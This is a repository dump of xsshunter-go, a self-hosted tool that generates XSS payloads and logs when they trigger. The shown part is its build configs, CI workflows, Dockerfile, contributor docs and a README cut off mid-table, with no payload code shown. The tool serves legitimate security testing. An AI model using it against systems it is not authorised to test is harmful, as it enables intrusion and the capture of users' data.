├── .air.toml ├── .dockerignore ├── .env.copy ├── .github ├── FUNDING.yml ├── ISSUE_TEMPLATE │ ├── bug_report.md │ └── feature_request.md ├── setup-xsshunter-go.webp └── workflows │ ├── codeql.yml │ ├── docker-push.yml │ ├── docker-test.yml │ ├── golangci-lint.yml │ ├── gosec.yml │ ├── playwright.yml │ └── semgrep.yml ├── .gitignore ├── .golangci.yml ├── .vscode ├── extensions.json └── settings.json ├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── Dockerfile ├── README.md ├── SECURITY.md ├── api.go ├── bin ├── extra-run └── run ├── cachehelper.go ├── const.go ├── database.go ├── db_select_benchmark_test.go ├── dbhelper.go ├── docker-compose.extras.yml ├── docker-compose.prod.yml ├── docker-compose.yml ├── docker-examples ├── docker-compose.yml └── example-postgres-cache │ └── docker-compose.yml ├── e2e ├── .env.copy ├── README.md ├── helper.ts ├── package-lock.json ├── package.json ├── playwright.config.js ├── tests │ └── xsshunter.spec.ts └── tsconfig.json ├── go.mod ├── go.sum ├── jwt.go ├── main.go ├── migrations.go ├── notifications.go ├── probe.js ├── renovate.json ├── src ├── admin.html └── login.html ├── util.go └── version.go /.air.toml: -------------------------------------------------------------------------------- 1 | # .air.toml 2 | root = "." 3 | tmp_dir = "tmp" 4 | 5 | [build] 6 | bin = "./tmp/main" 7 | cmd = "go build -o ./tmp/main ." 8 | delay = 1000 9 | exclude_dir = ["tmp", "bin", "db", "docker-examples", "e2e", "postgres_db", "redis", "screenshots", "src"] 10 | exclude_file = [] 11 | exclude_regex = ["_test.go"] 12 | exclude_unchanged = false 13 | follow_symlink = false 14 | full_bin = "" 15 | include_dir = [] 16 | include_ext = ["go"] 17 | kill_delay = "0s" 18 | log = "build-errors.log" 19 | send_interrupt = false 20 | stop_on_error = true 21 | 22 | [color] 23 | app = "" 24 | build = "yellow" 25 | main = "magenta" 26 | runner = "green" 27 | watcher = "cyan" 28 | 29 | [log] 30 | time = false 31 | 32 | [misc] 33 | clean_on_exit = false 34 | 35 | [screen] 36 | clear_on_rebuild = false -------------------------------------------------------------------------------- /.dockerignore: -------------------------------------------------------------------------------- 1 | .github 2 | 3 | docker-examples 4 | .gitignore 5 | 6 | .vscode 7 | 8 | # Ignore Go build files 9 | *.exe 10 | *.exe~ 11 | *.dll 12 | *.so 13 | *.dylib 14 | 15 | # Ignore test and documentation files 16 | *_test.go 17 | *.md 18 | 19 | # Ignore all log files 20 | *.log 21 | 22 | # Ignore all .env files 23 | *.env 24 | 25 | # Ignore OS generated files 26 | .DS_Store 27 | ehthumbs.db 28 | Thumbs.db -------------------------------------------------------------------------------- /.env.copy: -------------------------------------------------------------------------------- 1 | CONTROL_PANEL_ENABLED=true 2 | NOTIFY= 3 | GO_ENV=development 4 | DOMAIN=http://localhost:1449 -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | ko_fi: adamjsturge 2 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Describe the bug** 11 | A clear and concise description of what the bug is. 12 | 13 | **To Reproduce** 14 | Steps to reproduce the behavior: 15 | 1. Go to '...' 16 | 2. Click on '....' 17 | 3. Scroll down to '....' 18 | 4. See error 19 | 20 | **Expected behavior** 21 | A clear and concise description of what you expected to happen. 22 | 23 | **Screenshots** 24 | If applicable, add screenshots to help explain your problem. 25 | 26 | **Desktop (please complete the following information):** 27 | - OS: [e.g. iOS] 28 | - Browser [e.g. chrome, safari] 29 | - Version [e.g. 22] 30 | 31 | **Smartphone (please complete the following information):** 32 | - Device: [e.g. iPhone6] 33 | - OS: [e.g. iOS8.1] 34 | - Browser [e.g. stock browser, safari] 35 | - Version [e.g. 22] 36 | 37 | **Additional context** 38 | Add any other context about the problem here. 39 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Is your feature request related to a problem? Please describe.** 11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] 12 | 13 | **Describe the solution you'd like** 14 | A clear and concise description of what you want to happen. 15 | 16 | **Describe alternatives you've considered** 17 | A clear and concise description of any alternative solutions or features you've considered. 18 | 19 | **Additional context** 20 | Add any other context or screenshots about the feature request here. 21 | -------------------------------------------------------------------------------- /.github/setup-xsshunter-go.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/adamjsturge/xsshunter-go/cb1b16c0ff9d4a450a604a91bfe8376a7254c362/.github/setup-xsshunter-go.webp -------------------------------------------------------------------------------- /.github/workflows/codeql.yml: -------------------------------------------------------------------------------- 1 | # For most projects, this workflow file will not need changing; you simply need 2 | # to commit it to your repository. 3 | # 4 | # You may wish to alter this file to override the set of languages analyzed, 5 | # or to provide custom queries or build logic. 6 | # 7 | # ******** NOTE ******** 8 | # We have attempted to detect the languages in your repository. Please check 9 | # the `language` matrix defined below to confirm you have the correct set of 10 | # supported CodeQL languages. 11 | # 12 | name: "CodeQL" 13 | 14 | on: 15 | push: 16 | branches: [ "main", "dev" ] 17 | paths: 18 | - "Dockerfile" 19 | - "docker-compose.yml" 20 | - "go.mod" 21 | - "go.sum" 22 | - "probe.js" 23 | - "src/*" 24 | - "*.go" 25 | pull_request: 26 | branches: [ "main", "dev" ] 27 | paths: 28 | - "Dockerfile" 29 | - "docker-compose.yml" 30 | - "go.mod" 31 | - "go.sum" 32 | - "probe.js" 33 | - "src/*" 34 | - "*.go" 35 | schedule: 36 | - cron: '44 17 * * 1' 37 | 38 | jobs: 39 | analyze: 40 | name: Analyze 41 | # Runner size impacts CodeQL analysis time. To learn more, please see: 42 | # - https://gh.io/recommended-hardware-resources-for-running-codeql 43 | # - https://gh.io/supported-runners-and-hardware-resources 44 | # - https://gh.io/using-larger-runners 45 | # Consider using larger runners for possible analysis time improvements. 46 | runs-on: ${{ (matrix.language == 'swift' && 'macos-latest') || 'ubuntu-latest' }} 47 | timeout-minutes: ${{ (matrix.language == 'swift' && 120) || 360 }} 48 | permissions: 49 | # required for all workflows 50 | security-events: write 51 | 52 | # only required for workflows in private repositories 53 | actions: read 54 | contents: read 55 | 56 | strategy: 57 | fail-fast: false 58 | matrix: 59 | language: [ 'go' ] 60 | # CodeQL supports [ 'c-cpp', 'csharp', 'go', 'java-kotlin', 'javascript-typescript', 'python', 'ruby', 'swift' ] 61 | # Use only 'java-kotlin' to analyze code written in Java, Kotlin or both 62 | # Use only 'javascript-typescript' to analyze code written in JavaScript, TypeScript or both 63 | # Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support 64 | 65 | steps: 66 | - name: Checkout repository 67 | uses: actions/checkout@v4 68 | 69 | # Initializes the CodeQL tools for scanning. 70 | - name: Initialize CodeQL 71 | uses: github/codeql-action/init@v3 72 | with: 73 | languages: ${{ matrix.language }} 74 | # If you wish to specify custom queries, you can do so here or in a config file. 75 | # By default, queries listed here will override any specified in a config file. 76 | # Prefix the list here with "+" to use these queries and those in the config file. 77 | 78 | # For more details on CodeQL's query packs, refer to: https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs 79 | # queries: security-extended,security-and-quality 80 | 81 | 82 | # Autobuild attempts to build any compiled languages (C/C++, C#, Go, Java, or Swift). 83 | # If this step fails, then you should remove it and run the build manually (see below) 84 | - name: Autobuild 85 | uses: github/codeql-action/autobuild@v3 86 | 87 | # ℹ️ Command-line programs to run using the OS shell. 88 | # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun 89 | 90 | # If the Autobuild fails above, remove it and uncomment the following three lines. 91 | # modify them (or add more) to build your code if your project, please refer to the EXAMPLE below for guidance. 92 | 93 | # - run: | 94 | # echo "Run, Build Application using script" 95 | # ./location_of_script_within_repo/buildscript.sh 96 | 97 | - name: Perform CodeQL Analysis 98 | uses: github/codeql-action/analyze@v3 99 | with: 100 | category: "/language:${{matrix.language}}" 101 | -------------------------------------------------------------------------------- /.github/workflows/docker-push.yml: -------------------------------------------------------------------------------- 1 | name: Push Multi-Arch Docker Image to Docker Hub 2 | 3 | on: 4 | push: 5 | branches: ["main"] # , "dev" ] 6 | paths: 7 | - ".github/workflows/docker-push.yml" 8 | - "Dockerfile" 9 | - "docker-compose.yml" 10 | - "go.mod" 11 | - "go.sum" 12 | - "probe.js" 13 | - "src/*" 14 | - "*.go" 15 | 16 | env: 17 | REGISTRY: docker.io 18 | IMAGE_NAME: ${{ github.repository }} 19 | 20 | jobs: 21 | push_to_registry: 22 | name: Push Docker image to Docker Hub 23 | runs-on: ubuntu-latest 24 | steps: 25 | - name: Check out the repo 26 | uses: actions/checkout@v4 27 | 28 | - name: Set up QEMU 29 | uses: docker/setup-qemu-action@v3 30 | 31 | - name: Set up Docker Buildx 32 | uses: docker/setup-buildx-action@v3 33 | 34 | - name: Log in to Docker Hub 35 | uses: docker/login-action@6d4b68b490aef8836e8fb5e50ee7b3bdfa5894f0 36 | with: 37 | username: ${{ secrets.DOCKER_USERNAME }} 38 | password: ${{ secrets.DOCKER_PASSWORD }} 39 | 40 | - name: Extract metadata (tags, labels) for Docker 41 | id: meta 42 | uses: docker/metadata-action@418e4b98bf2841bd337d0b24fe63cb36dc8afa55 43 | with: 44 | images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }} # Remove raw dev tag to add the dev branch back to being seperate 45 | tags: | 46 | type=semver,pattern={{version}} 47 | type=ref,event=branch 48 | type=ref,event=tag 49 | type=raw,value=latest,enable=${{ github.ref == 'refs/heads/main' }} 50 | type=raw,value=dev,enable=${{ github.ref == 'refs/heads/main' }} 51 | 52 | - name: Create .env file 53 | run: touch .env 54 | 55 | - name: Build and push Docker image 56 | uses: docker/build-push-action@v6 57 | with: 58 | context: "{{defaultContext}}" 59 | platforms: linux/amd64,linux/arm64 60 | push: true 61 | tags: ${{ steps.meta.outputs.tags }} 62 | labels: ${{ steps.meta.outputs.labels }} 63 | file: ./Dockerfile 64 | target: prod 65 | build-args: | 66 | GIT_TAG=${{ github.ref_name }} 67 | GIT_COMMIT=${{ github.sha }} 68 | GIT_BRANCH=${{ github.ref_name }} 69 | 70 | # - name: Create and push manifest 71 | # run: | 72 | # docker manifest create ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:latest \ 73 | # --amend ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:latest-amd64 \ 74 | # --amend ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:latest-arm64 75 | # docker manifest push ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:latest 76 | -------------------------------------------------------------------------------- /.github/workflows/docker-test.yml: -------------------------------------------------------------------------------- 1 | name: Build and Test Docker 2 | 3 | on: 4 | push: 5 | branches: [ "main", "dev" ] 6 | paths: 7 | - "Dockerfile" 8 | - "docker-compose.yml" 9 | - "go.mod" 10 | - "go.sum" 11 | - "probe.js" 12 | - "src/*" 13 | - "*.go" 14 | pull_request: 15 | branches: [ "main", "dev" ] 16 | paths: 17 | - "Dockerfile" 18 | - "docker-compose.yml" 19 | - "go.mod" 20 | - "go.sum" 21 | - "probe.js" 22 | - "src/*" 23 | - "*.go" 24 | 25 | env: 26 | # Use docker.io for Docker Hub if empty 27 | REGISTRY: docker.io 28 | # github.repository as / 29 | IMAGE_NAME: ${{ github.repository }} 30 | 31 | jobs: 32 | build: 33 | runs-on: ubuntu-latest 34 | 35 | steps: 36 | - uses: actions/checkout@v4 37 | - name: Create .env 38 | run: touch .env 39 | - name: Build the Docker image 40 | run: docker compose -f docker-compose.prod.yml build --no-cache --force-rm 41 | test: 42 | runs-on: ubuntu-latest 43 | steps: 44 | - uses: actions/checkout@v4 45 | - name: Create .env 46 | run: touch .env 47 | - name: Test the Docker image 48 | run: docker compose -f docker-compose.prod.yml up -d -------------------------------------------------------------------------------- /.github/workflows/golangci-lint.yml: -------------------------------------------------------------------------------- 1 | name: golangci-lint 2 | on: 3 | workflow_dispatch: {} 4 | push: 5 | branches: ["main", "dev"] 6 | paths: 7 | - "*.go" 8 | - go.mod 9 | - go.sum 10 | - ".github/workflows/golangci-lint.yml" 11 | pull_request: 12 | branches: ["main", "dev"] 13 | paths: 14 | - "*.go" 15 | - go.mod 16 | - go.sum 17 | - ".github/workflows/golangci-lint.yml" 18 | 19 | permissions: 20 | contents: read 21 | # Optional: allow read access to pull request. Use with `only-new-issues` option. 22 | # pull-requests: read 23 | 24 | jobs: 25 | golangci: 26 | name: lint 27 | runs-on: ubuntu-latest 28 | steps: 29 | - uses: actions/checkout@v4 30 | - uses: actions/setup-go@v5 31 | with: 32 | go-version: "1.24" 33 | cache: false 34 | - name: golangci-lint 35 | uses: golangci/golangci-lint-action@v8 36 | with: 37 | # Require: The version of golangci-lint to use. 38 | # When `install-mode` is `binary` (default) the value can be v1.2 or v1.2.3 or `latest` to use the latest version. 39 | # When `install-mode` is `goinstall` the value can be v1.2.3, `latest`, or the hash of a commit. 40 | version: v1.64.7 41 | 42 | # Optional: working directory, useful for monorepos 43 | # working-directory: somedir 44 | 45 | # Optional: golangci-lint command line arguments. 46 | # 47 | # Note: By default, the `.golangci.yml` file should be at the root of the repository. 48 | # The location of the configuration file can be changed by using `--config=` 49 | # args: --timeout=30m --config=/my/path/.golangci.yml --issues-exit-code=0 50 | # args: --disable=gosec 51 | 52 | # Optional: show only new issues if it's a pull request. The default value is `false`. 53 | # only-new-issues: true 54 | 55 | # Optional: if set to true, then all caching functionality will be completely disabled, 56 | # takes precedence over all other caching options. 57 | # skip-cache: true 58 | 59 | # Optional: if set to true, then the action won't cache or restore ~/go/pkg. 60 | # skip-pkg-cache: true 61 | 62 | # Optional: if set to true, then the action won't cache or restore ~/.cache/go-build. 63 | # skip-build-cache: true 64 | 65 | # Optional: The mode to install golangci-lint. It can be 'binary' or 'goinstall'. 66 | # install-mode: "goinstall" 67 | -------------------------------------------------------------------------------- /.github/workflows/gosec.yml: -------------------------------------------------------------------------------- 1 | name: Run Gosec 2 | on: 3 | push: 4 | branches: [ "main", "dev" ] 5 | paths: 6 | - "go.mod" 7 | - "go.sum" 8 | - "*.go" 9 | pull_request: 10 | branches: [ "main", "dev" ] 11 | paths: 12 | - "go.mod" 13 | - "go.sum" 14 | - "*.go" 15 | schedule: 16 | - cron: '44 17 * * 1' 17 | jobs: 18 | tests: 19 | runs-on: ubuntu-latest 20 | env: 21 | GO111MODULE: on 22 | steps: 23 | - name: Checkout Source 24 | uses: actions/checkout@v4 25 | - name: Run Gosec Security Scanner 26 | uses: securego/gosec@master 27 | with: 28 | args: ./... 29 | -------------------------------------------------------------------------------- /.github/workflows/playwright.yml: -------------------------------------------------------------------------------- 1 | name: Playwright Tests 2 | on: 3 | push: 4 | branches: [ main, dev ] 5 | paths: 6 | - "Dockerfile" 7 | - "docker-compose.yml" 8 | - "go.mod" 9 | - "go.sum" 10 | - "probe.js" 11 | - "src/*" 12 | - "*.go" 13 | - "e2e/**" 14 | - ".github/workflows/playwright.yml" 15 | - "docker-compose.prod.yml" 16 | pull_request: 17 | branches: [ main, dev ] 18 | paths: 19 | - "Dockerfile" 20 | - "docker-compose.yml" 21 | - "go.mod" 22 | - "go.sum" 23 | - "probe.js" 24 | - "src/*" 25 | - "*.go" 26 | - "e2e/**" 27 | - ".github/workflows/playwright.yml" 28 | - "docker-compose.prod.yml" 29 | jobs: 30 | e2e-tests: 31 | timeout-minutes: 60 32 | runs-on: ubuntu-latest 33 | steps: 34 | - uses: actions/checkout@v4 35 | - uses: actions/setup-node@v4 36 | with: 37 | node-version: lts/* 38 | - name: Create .env 39 | run: cp .env.copy .env 40 | working-directory: ./ 41 | - name: Test the Docker image 42 | run: docker compose -f docker-compose.prod.yml --env-file .env up -d 43 | working-directory: ./ 44 | - name: Change directory and install dependencies 45 | run: npm ci 46 | working-directory: e2e 47 | - name: Install Playwright Browsers 48 | run: npx playwright install --with-deps 49 | working-directory: e2e 50 | - name: Get Password from Docker logs 51 | run: | 52 | echo "TEMP_E2E_PLAYWRIGHT_PASSWORD=$(docker logs xsshunter-go-xsshunter-go-1 | grep -oP 'PASSWORD: \K.*')" > e2e/.env 53 | - name: Run Playwright tests 54 | run: npx playwright test 55 | working-directory: e2e 56 | - name: Stop the xsshunter-go Docker container 57 | run: docker compose -f docker-compose.prod.yml down xsshunter-go 58 | working-directory: ./ 59 | - name: Add DATABASE_URL to env 60 | run: echo -e "\nDATABASE_URL=postgres://xsshunter:xsshunter@xsshunter-postgres:5432/xsshunter?sslmode=disable" >> .env 61 | working-directory: ./ 62 | - name: Start the xsshunter-go Docker container 63 | run: docker compose -f docker-compose.prod.yml --env-file .env up -d 64 | working-directory: ./ 65 | - name: Wait for the xsshunter-go Docker container to start 66 | run: sleep 10 67 | working-directory: ./ 68 | - name: Get Password from Docker logs for postgres test 69 | run: | 70 | echo "TEMP_E2E_PLAYWRIGHT_PASSWORD=$(docker logs xsshunter-go-xsshunter-go-1 | grep -oP 'PASSWORD: \K.*')" > e2e/.env 71 | - name: Run Playwright tests with the database 72 | run: npx playwright test 73 | working-directory: e2e -------------------------------------------------------------------------------- /.github/workflows/semgrep.yml: -------------------------------------------------------------------------------- 1 | on: 2 | workflow_dispatch: {} 3 | pull_request: {} 4 | push: 5 | branches: 6 | - main 7 | - master 8 | paths: 9 | - .github/workflows/semgrep.yml 10 | schedule: 11 | # random HH:MM to avoid a load spike on GitHub Actions at 00:00 12 | - cron: 16 14 * * * 13 | name: Semgrep 14 | jobs: 15 | semgrep: 16 | name: semgrep/ci 17 | runs-on: ubuntu-24.04 18 | env: 19 | SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }} 20 | container: 21 | image: returntocorp/semgrep 22 | steps: 23 | - uses: actions/checkout@v4 24 | - run: semgrep ci 25 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .env 2 | /db/ 3 | /screenshots/ 4 | node_modules/ 5 | test-results/ 6 | playwright-report/ 7 | blob-report/ 8 | playwright/.cache/ 9 | /postgres_db/ 10 | /redis/ 11 | /tmp/ -------------------------------------------------------------------------------- /.golangci.yml: -------------------------------------------------------------------------------- 1 | linters-settings: 2 | gosec: 3 | min-confidence: 0.9 4 | min-severity: low 5 | exclude-use-default: true 6 | 7 | linters: 8 | enable: 9 | - gosec 10 | 11 | run: 12 | deadline: 5m -------------------------------------------------------------------------------- /.vscode/extensions.json: -------------------------------------------------------------------------------- 1 | { 2 | "recommendations": [ 3 | "golang.go", 4 | "ms-playwright.playwright", 5 | "github.vscode-github-actions", 6 | "eamodio.gitlens" 7 | ] 8 | } -------------------------------------------------------------------------------- /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "go.lintTool": "golangci-lint", 3 | } -------------------------------------------------------------------------------- /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | We as members, contributors, and leaders pledge to make participation in our 6 | community a harassment-free experience for everyone, regardless of age, body 7 | size, visible or invisible disability, ethnicity, sex characteristics, gender 8 | identity and expression, level of experience, education, socio-economic status, 9 | nationality, personal appearance, race, religion, or sexual identity 10 | and orientation. 11 | 12 | We pledge to act and interact in ways that contribute to an open, welcoming, 13 | diverse, inclusive, and healthy community. 14 | 15 | ## Our Standards 16 | 17 | Examples of behavior that contributes to a positive environment for our 18 | community include: 19 | 20 | * Demonstrating empathy and kindness toward other people 21 | * Being respectful of differing opinions, viewpoints, and experiences 22 | * Giving and gracefully accepting constructive feedback 23 | * Accepting responsibility and apologizing to those affected by our mistakes, 24 | and learning from the experience 25 | * Focusing on what is best not just for us as individuals, but for the 26 | overall community 27 | 28 | Examples of unacceptable behavior include: 29 | 30 | * The use of sexualized language or imagery, and sexual attention or 31 | advances of any kind 32 | * Trolling, insulting or derogatory comments, and personal or political attacks 33 | * Public or private harassment 34 | * Publishing others' private information, such as a physical or email 35 | address, without their explicit permission 36 | * Other conduct which could reasonably be considered inappropriate in a 37 | professional setting 38 | 39 | ## Enforcement Responsibilities 40 | 41 | Community leaders are responsible for clarifying and enforcing our standards of 42 | acceptable behavior and will take appropriate and fair corrective action in 43 | response to any behavior that they deem inappropriate, threatening, offensive, 44 | or harmful. 45 | 46 | Community leaders have the right and responsibility to remove, edit, or reject 47 | comments, commits, code, wiki edits, issues, and other contributions that are 48 | not aligned to this Code of Conduct, and will communicate reasons for moderation 49 | decisions when appropriate. 50 | 51 | ## Scope 52 | 53 | This Code of Conduct applies within all community spaces, and also applies when 54 | an individual is officially representing the community in public spaces. 55 | Examples of representing our community include using an official e-mail address, 56 | posting via an official social media account, or acting as an appointed 57 | representative at an online or offline event. 58 | 59 | ## Enforcement 60 | 61 | Instances of abusive, harassing, or otherwise unacceptable behavior may be 62 | reported to the community leaders responsible for enforcement at 63 | adamsgitrepository@gmail.com. 64 | All complaints will be reviewed and investigated promptly and fairly. 65 | 66 | All community leaders are obligated to respect the privacy and security of the 67 | reporter of any incident. 68 | 69 | ## Enforcement Guidelines 70 | 71 | Community leaders will follow these Community Impact Guidelines in determining 72 | the consequences for any action they deem in violation of this Code of Conduct: 73 | 74 | ### 1. Correction 75 | 76 | **Community Impact**: Use of inappropriate language or other behavior deemed 77 | unprofessional or unwelcome in the community. 78 | 79 | **Consequence**: A private, written warning from community leaders, providing 80 | clarity around the nature of the violation and an explanation of why the 81 | behavior was inappropriate. A public apology may be requested. 82 | 83 | ### 2. Warning 84 | 85 | **Community Impact**: A violation through a single incident or series 86 | of actions. 87 | 88 | **Consequence**: A warning with consequences for continued behavior. No 89 | interaction with the people involved, including unsolicited interaction with 90 | those enforcing the Code of Conduct, for a specified period of time. This 91 | includes avoiding interactions in community spaces as well as external channels 92 | like social media. Violating these terms may lead to a temporary or 93 | permanent ban. 94 | 95 | ### 3. Temporary Ban 96 | 97 | **Community Impact**: A serious violation of community standards, including 98 | sustained inappropriate behavior. 99 | 100 | **Consequence**: A temporary ban from any sort of interaction or public 101 | communication with the community for a specified period of time. No public or 102 | private interaction with the people involved, including unsolicited interaction 103 | with those enforcing the Code of Conduct, is allowed during this period. 104 | Violating these terms may lead to a permanent ban. 105 | 106 | ### 4. Permanent Ban 107 | 108 | **Community Impact**: Demonstrating a pattern of violation of community 109 | standards, including sustained inappropriate behavior, harassment of an 110 | individual, or aggression toward or disparagement of classes of individuals. 111 | 112 | **Consequence**: A permanent ban from any sort of public interaction within 113 | the community. 114 | 115 | ## Attribution 116 | 117 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], 118 | version 2.0, available at 119 | https://www.contributor-covenant.org/version/2/0/code_of_conduct.html. 120 | 121 | Community Impact Guidelines were inspired by [Mozilla's code of conduct 122 | enforcement ladder](https://github.com/mozilla/diversity). 123 | 124 | [homepage]: https://www.contributor-covenant.org 125 | 126 | For answers to common questions about this code of conduct, see the FAQ at 127 | https://www.contributor-covenant.org/faq. Translations are available at 128 | https://www.contributor-covenant.org/translations. 129 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contributing to xsshunter-go 2 | 3 | Thanks for looking to contribute. 4 | 5 | If you have a massive feature change I recommend putting as an issue before starting anything! That way we can discuss it before you start working on it. 6 | 7 | ## Where to start? 8 | 9 | Look at the current issues and see if there is anything you want to do. I'm trying to put everything their even if I plan to work on it. 10 | 11 | ## Dev Environment 12 | 13 | Start by forking the repo! 14 | 15 | Actually super simple, we have a .vscode with recommended extensions and settings to make sure the code passes linter and scans. 16 | Copy the .env.copy to .env then chaning the values to make sure it works for you. I notice that everychange you have to run 17 | ```bash 18 | git clone git@github.com:yourgithubusernamefork/xsshunter-go.git 19 | cd xsshunter-go 20 | cp .env.copy .env 21 | docker compose up --build 22 | ``` 23 | 24 | Luckily go is fast and it shouldn't take too long for it to build 25 | 26 | ## Running e2e Tests 27 | 28 | Setup 29 | ```bash 30 | cd e2e 31 | cp .env.copy .env 32 | npm ci 33 | npx playwright install --with-deps 34 | ``` 35 | 36 | Run the tests 37 | ```bash 38 | npx playwright test 39 | ``` 40 | or in VScode 41 | 42 | ## Git Workflow 43 | 44 | Please make a new branch for every feature or bug fix you are working on. This makes it easier to review and merge your code. We also merge into branch `dev` and then `main` is merged from `dev` when we are ready to release. So please make sure your PR is against `dev`. 45 | 46 | ## Code Style 47 | 48 | I'm using the golangci-lint to make sure the code is formatted correctly. If you are using vscode you can install the extension and it will format the code for you. If you are not using vscode you can run `golangci-lint run` to make sure the code is formatted correctly. 49 | 50 | ## Commit Messages 51 | 52 | Please make sure your commit messages are clear and concise. If you are fixing a bug please include the issue number in the commit message. If you are adding a new feature please include a brief description of the feature. 53 | 54 | ## Pull Requests 55 | 56 | Please make sure your PR is against the `dev` branch. Please make sure your PR is clear and concise. If you are fixing a bug please include the issue number in the PR. If you are adding a new feature please include a brief description of the feature. 57 | 58 | ## Testing 59 | 60 | I'm trying to add tests to everything I can. If you are adding a new feature please add tests to it. If you are fixing a bug please add a test to make sure it doesn't happen again. All tests are in the e2e folder and are run with playwright. 61 | 62 | ## Your own fork 63 | 64 | Adding `DOCKER_USERNAME` and `DOCKER_PASSWORD`([DOCKER TOKEN](https://hub.docker.com/settings/security)) to your forked secrets will allow the pipeline to automatically push to docker and you can have your own docker image. 65 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.24.3-alpine3.21 as builder 2 | 3 | RUN apk update && apk add --no-cache gcc musl-dev ca-certificates 4 | 5 | WORKDIR /app 6 | COPY go.mod go.sum ./ 7 | RUN go mod download 8 | COPY . . 9 | 10 | ARG GIT_TAG 11 | ARG GIT_COMMIT 12 | ARG GIT_BRANCH 13 | 14 | RUN BUILD_DATE=$(date +'%Y-%m-%dT%H:%M:%S%z') && \ 15 | go build -ldflags "-X 'main.version=${GIT_TAG}' -X 'main.gitCommit=${GIT_COMMIT}' -X 'main.gitBranch=${GIT_BRANCH}' -X 'main.buildDate=${BUILD_DATE}'" -o main 16 | 17 | FROM alpine:3.21.3 as prod 18 | WORKDIR /app 19 | 20 | COPY --from=builder /app/main . 21 | COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/ca-certificates.crt 22 | COPY probe.js . 23 | COPY src ./src 24 | 25 | EXPOSE 1449 26 | 27 | CMD ["./main"] 28 | 29 | FROM golang:1.24.3-alpine3.21 as dev 30 | 31 | RUN apk update && apk add --no-cache gcc musl-dev ca-certificates 32 | 33 | RUN go install github.com/air-verse/air@latest 34 | 35 | WORKDIR /app 36 | COPY go.mod go.sum ./ 37 | RUN go mod download 38 | COPY . . 39 | 40 | CMD ["air", "-c", ".air.toml"] -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # XSSHunter-go 2 | 3 | ![](https://github.com/adamjsturge/xsshunter-go/blob/main/.github/setup-xsshunter-go.webp?raw=true) 4 | 5 | XSSHunter-go is a self-hosted XSS hunter that allows you to create a custom XSS payload and track when it is triggered. It is a based off the original [XSSHunter-express](https://github.com/mandatoryprogrammer/xsshunter-express) but written in Go. 6 | 7 | 8 | Table of content 9 |
    10 |
  1. Setup
  2. 11 |
  3. Volumes
  4. 12 |
  5. Notifications
  6. 13 |
  7. Using Traefik for SSL
  8. 14 |
  9. 15 |
16 | 17 | The idea of why I decided to code this in Go is because I wanted this to be a maintained project that is stable. The original is based of Node 12 which is end of life. I also wanted to add some features that I thought would be useful (mostly expanding the notification system). 18 | 19 | ## Setup 20 | 21 | ```yml 22 | version: '3.8' 23 | services: 24 | xsshunter-go: 25 | image: adamjsturge/xsshunter-go:latest 26 | volumes: 27 | - ./db/:/app/db/ 28 | - ./screenshots/:/app/screenshots/ 29 | ports: 30 | - "1449:1449" 31 | environment: 32 | - CONTROL_PANEL_ENABLED=true 33 | - NOTIFY=discord://...,slack://... 34 | ``` 35 | 36 | Add the `S` to `HTTPS` with the traefik guide below 37 | 38 | Please Reference https://github.com/adamjsturge/xsshunter-go/tree/main/docker-examples 39 | The one wihtout a folder https://github.com/adamjsturge/xsshunter-go/blob/main/docker-examples/docker-compose.yml is for sqlite 40 | 41 | For Postgres and cache (cache currently not implemented) https://github.com/adamjsturge/xsshunter-go/blob/main/docker-examples/example-postgres-cache/docker-compose.yml 42 | 43 | https://github.com/adamjsturge/xsshunter-go/wiki/FAQ#why-use-postgres-over-sqlite 44 | 45 | ## Environment Variables 46 | 47 | | Name | Description | Default | 48 | | --- | --- | --- | 49 | | CONTROL_PANEL_ENABLED | Enable the control panel | false | 50 | | NOTIFY | Comma separated list of notification URLs | | 51 | | SCREENSHOTS_REQUIRE_AUTH | Require authentication to view screenshots | false | 52 | | DOMAIN | Domain put into script | Based off URL (Defaults to HTTPS) | 53 | | DATABASE_URL | Postgres Database URL | (Uses sqlite if no postgres db is present) | 54 | | GO_ENV | Go environment `development` | | 55 | | ENFORCE_CERT_FROM_GOLANG | Force Golang to serve a cert (Only do if you know what you're doing) | false | 56 | 57 | ## Volumes 58 | 59 | | Name | Description | 60 | | --- | --- | 61 | | /app/db/ | Database storage if using SQLite | 62 | | /app/screenshots/ | Screenshot storage | 63 | 64 | ## Notifications 65 | 66 | For notifications xsshunter-go uses shoutrrr. 67 | To make your own notification URL, go to https://containrrr.dev/shoutrrr/v0.8/services/overview/ or see these examples: 68 | 69 | | Service | URL | 70 | | --- | --- | 71 | | Discord | discord://`token`@`id` 